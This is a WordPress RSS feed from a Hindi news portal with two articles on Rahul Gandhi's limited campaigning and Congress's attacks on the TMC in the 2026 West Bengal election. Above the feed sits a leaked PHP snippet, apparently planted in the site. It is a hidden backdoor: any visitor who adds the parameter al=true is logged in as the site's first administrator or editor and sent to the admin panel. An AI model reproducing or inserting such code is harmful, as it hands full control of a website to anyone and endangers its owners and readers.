// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); West Bengal Election – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 04 May 2026 10:06:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 बंगाल चुनाव में कांग्रेस का फिर सूपड़ा साफ? राहुल गांधी की रणनीति और सीमित प्रचार पर उठे सवाल https://pratyushaashakinayikiran.com/?p=216904 Mon, 04 May 2026 10:06:00 +0000 https://pratyushaashakinayikiran.com/?p=216904 नई दिल्ली

राहुल गांधी का पश्चिम बंगाल चुनाव में करीब करीब उसी अंदाज में नजर आए, जैसे दिल्ली विधानसभा चुनाव में देखे गए थे – और मुद्दे की बात यह है कि बंगाल के नतीजे भी दिल्ली जैसे ही लग रहे हैं. दिल्ली की ही तरह बंगाल में भी कांग्रेस के जीरो बैलेंस की ही संभावना नजर आ रही है. ये बंगाल का लगातार दूसरा विधानसभा चुनाव है, जब पार्टी सीटों के हिसाब से शून्य प्राप्त करने जा रही है.

पश्चिम बंगाल चुनाव में राहुल गांधी की दिलचस्पी को उनके एक वीडियो से समझने की कोशिश की जा सकती है. पश्चिम बंगाल में जिस दिन दूसरे चरण की वोटिंग होनी थी, उस दिन राहुल गांधी ने ग्रेटर निकोबार प्रोजेक्ट पर बयान जारी किया था. 29 अप्रैल को सुबह आठ बजे (7:58 am पर) सोशल साइट X पर एक वीडियो पोस्ट कर राहुल गांधी ने केंद्र सरकार पर हमला बोला था. राहुल गांधी ने वीडियो निकोबार के कैंपबेल बे में प्रोजेक्ट का विरोध कर रहे आदिवासी नेताओं से मिलने के बाद बनाई थी. बाद में, सरकार की तरफ से राहुल गांधी के आरोपों का जवाब भी दे दिया गया.

कांग्रेस के कैंपेन के हिसाब से देखें तो राहुल गांधी ने विधानसभा चुनाव के दौरान दो बार पश्चिम बंगाल का दौरा किया है, और 5 रैलियां की हैं. 2024 के आम चुनाव में तो राहुल गांधी चुनाव प्रचार के लिए गए तक नहीं थे. 2021 के पश्चिम बंगाल विधानसभा चुनाव में राहुल गांधी एक दिन के दौरे पर गए थे, और दो चुनावी रैलियां की थीं.

कहने को तो पश्चिम बंगाल कांग्रेस पूरे बंगाल में विधानसभा चुनाव लड़ा है, बंगाल कांग्रेस के बड़े नेता अधीर रंजन चौधरी भी विधानसभा चुनाव लड़े, लेकिन राहुल गांधी सिर्फ दो दिन के लिए रस्म अदा करने गए – आखिर पश्चिम बंगाल चुनाव को लेकर राहुल गांधी की रणनीति क्या थी?

मोदी पर गरम, ममता पर नरम
पश्चिम बंगाल में हुए दो चरणों के मतदान में हिंसा की कोई बड़ी घटना नहीं हुई है, न ही उस दौरान किसी की जान गई है. चुनाव आयोग ने तो पहले से ही शांतिपूर्ण मतदान का दावा किया था. लेकिन, पहले चरण के मतदान के बाद 23 अप्रैल को आसनसोल में कांग्रेस के एक कार्यकर्ता की हत्या कर दी गई थी. पश्चिम बंगाल कांग्रेस का आरोप है कि सत्ताधारी तृणमूल कांग्रेस से जुड़े गुंडों ने ही पार्टी कार्यकर्ता की हत्या की है, जो राज्य में खत्म हो चुके कानून व्यवस्था का सबूत है.

राहुल गांधी ने भी सोशल साइट X पर एक पोस्ट में ऐसा ही आरोप लगाया है. राहुल गांधी ने लिखा, 'कांग्रेस कार्यकर्ता देबदीप चटर्जी की वोटिंग के बाद TMC से जुड़े गुंडों द्वारा की गई हत्या बेहद निंदनीय है. शोकाकुल परिवार के प्रति मेरी गहरी संवेदनाएं. पश्चिम बंगाल में आज लोकतंत्र नहीं, TMC का गुंडा राज चल रहा है. वोट के बाद विरोधी आवाजों को डराना, मारना, मिटाना – यही TMC का चरित्र बन चुका है.'

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बंगाल में कांग्रेस का ममता पर हमला तेज, राहुल गांधी ने लगाया ‘गुंडा राज’ का आरोप https://pratyushaashakinayikiran.com/?p=214815 Sun, 26 Apr 2026 14:05:00 +0000 https://pratyushaashakinayikiran.com/?p=214815 नई दिल्‍ली

पश्चिम बंगाल चुनाव में इस बार बीजेपी ही नहीं, कांग्रेस के टारगेट पर भी ममता बनर्जी नजर आ रही हैं. पिछले कुछ चुनाव में ऐसा देखने को नहीं मिला था,  लेकिन 23 अप्रैल को हुए पहले चरण के मतदान के बाद आसनसोल में एक कांग्रेस कार्यकर्ता की हत्या कर दी गई. पश्चिम बंगाल कांग्रेस का आरोप है कि टीएमसी से जुड़े गुंडों ने ही पार्टी कार्यकर्ता की हत्या की है, जो राज्य में खत्म हो चुके कानून व्यवस्था का परिचायक है. हालांकि, बंगाल की राजनीति में दखल रखने वाले मानते हैं कि ममता पर हमला कर कांग्रेस अपनी मौजूदगी दर्ज कराने की कोशिश कर रही है.

राहुल का ममता पर बड़ा हमला
इस घटना के बाद राहुल गांधी के X पर पोस्ट लिखकर पश्चिम बंगाल में सत्तारूढ़ टीएमसी पर बहुत बड़ा आरोप लगाया है. राहुल गांधी ने लिखा- "कांग्रेस के कार्यकर्ता देबदीप चटर्जी की चुनाव बाद TMC से जुड़े गुंडों द्वारा की गई हत्या बेहद निंदनीय है शोकाकुल परिवार के प्रति मेरी गहरी संवेदनाएं. पश्चिम बंगाल में आज लोकतंत्र नहीं, TMC का गुंडा राज चल रहा है. वोट के बाद विरोधी आवाज़ों को डराना, मारना, मिटाना- यही TMC का चरित्र बन चुका है. भारत की अहिंसक परंपरा को कलंकित करने वाली इस राजनीति के सामने हम झुकेंगे नहीं. न्याय होकर रहेगा.'

अबतक बचते रहे थे राहुल
बंगाल में हुए पिछले कुछ चुनावों को देखें तो राहुल गांधी ने राज्य में न के बराबर चुनाव प्रचार किया था. 2021 के विधानसभा चुनाव में जहां उन्होंने महज 2 जनसभाएं की थीं, वहीं 2024 के लोकसभा चुनाव में तो वो राज्य में प्रचार करने तक नहीं गए. 2021 की दोनों जनसभाओं में वो ममता बनर्जी और टीएमसी पर ज़्यादा हमला करने से बचते नज़र आए थे और उनके केंद्र में प्रमुख रूप से बीजेपी ही रही थी. मगर इस बार थोड़ी तस्वीर बदली हुई नज़र आ रही है. इस बार भी राहुल गांधी केवल दो दिन ही चुनाव प्रचार करने गए हैं और अभी तक 5 जनसभाएं की हैं, लेकिन टीएमसी और ममता बनर्जी पर उनका हमला इसबार ज़्यादा तीखा नज़र आ रहा है. अपनी सभी सभाओं में वो कहते आ रहे हैं कि बंगाल में टीएमसी के चलते बीजेपी की ताक़त बढ़ी और केवल कांग्रेस ही बीजेपी का मुक़ाबला कर सकते हैं. उन्होंने यहां तक कहा कि बीजेपी और ममता में सांठ गांठ है और जहां बाक़ी विपक्षी नेताओं पर मोदी सरकार केस करवा रही है, ममता के खिलाफ कोई केस नहीं है.

क्या हो सकती है वजह?
राहुल गांधी का ममता और टीएमसी का हमला ऐसे समय में आया है, जब कुछ ही दिनों पहले महिला आरक्षण से जुड़े संविधान संशोधन बिल पर कांग्रेस और टीएमसी ने मिलकर मोदी सरकार का विरोध किया था और बिल पारित नहीं हो पाया था. इतना ही नहीं, दो दिनों पहले ही मुख्य चुनाव आयुक्त ज्ञानेश कुमार को पद से हटाने के लिए जो राज्यसभा में नोटिस दिया गया है. उसपर भी कांग्रेस और टीएमसी सांसदों के हस्ताक्षर हैं. ऐसे में राहुल गांधी के बदले हुए तेवर की लेकर चर्चा शुरू हो गई है. कुछ जानकारों का मानना है कि कांग्रेस बंगाल में अपनी खोई हुई ज़मीन पाना चाहती है और इसके लिए टीएमसी के वोट बैंक को तोड़ना ज़रूरी है. इस वोट बैंक में सबसे अहम है अल्पसंख्यक मुसलमानों का वोट. बार-बार ये कहकर कि कांग्रेस ही बीजेपी का मुक़ाबला कर सकती है, राहुल उसी वोट बैंक को साधने की कोशिश कर रहे हैं. एक चर्चा ये भी है कि बंगाल में इस बार टीएमसी को बीजेपी से कड़ी चुनौती का सामना करना पड़ रहा है. ऐसे में यदि राज्य में कोई अप्रत्याशित परिणाम आता है, तो बीजेपी के खिलाफ कांग्रेस ज़्यादा बड़ी प्रतिद्वंदी नजर आनी चाहिए , न कि टीएमसी.

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